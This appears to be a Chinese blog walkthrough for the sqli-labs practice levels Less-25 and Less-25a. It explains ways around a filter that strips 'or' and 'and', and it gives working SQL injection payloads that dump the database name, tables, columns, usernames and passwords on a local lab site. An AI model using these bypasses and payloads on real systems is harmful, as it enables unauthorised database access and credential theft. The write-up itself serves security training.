目录
Less-25
Less-25a
Less-25
GET-基于错误-您所有的OR&AND都属于我们-字符串单引号
源码:
本关主要将 or、and 进行了大小写的过滤,将其换成空,如何绕过 or 和 and 过滤。一般性提供以下几种思路:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号 and=&& or=||
(5)双写绕过 oorr,aandnd,等。
本关利用方法(4)进行。报错注入 or 示例:
http://127.0.0.1/sqllib/Less-25/index.php?id=1'|| extractvalue(1,concat(0x7e,database()))--+
也可以利用Less-1中的方法,遇到or或是and 进行双写就可以:sqli-labs Less-1~4(sqli-labs闯关指南 1—4)_m0_54899775的博客-CSDN博客。
1.使用union select 1,2,3联合查询语句查看页面是否有显示位:
http://127.0.0.1/sqli/Less-25/?id=-1%27%20union%20select%201,2,3--+
2.爆数据库名:
?id=-1' union select 1,2,database()--+
3.爆表名:
?id=-1' union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')--+
6.爆字段
information_schema.tables里面也是有or的,这里我们使用双写绕过查看users表下的所有字段:
?id=-1' union select 1,2,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users')--+
7.查看username,password字段的值,password里面也含有or,也采取双写绕过
?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(passwoorrd) from security.users)--+
Less-25a
源码:
不同于 25 关的是 sql 语句中对于 id,没有’’的包含,同时没有输出错误项,报错注入不能用。其余基本上和 25 示例没有差别。此处采取两种方式:延时注入和联合注入。
?id=-1 UNION select 1,@@basedir,3%23
此处我们依旧用|| &&来代替 and,or:
http://127.0.0.1/sqllib/Less-25a/?id=20||1=1--+
判断回显位置
爆数据库名:
?id=-1 union select 1,2,database()--+
其他则与上面的Less-25一样,注入时去掉 ' 即可。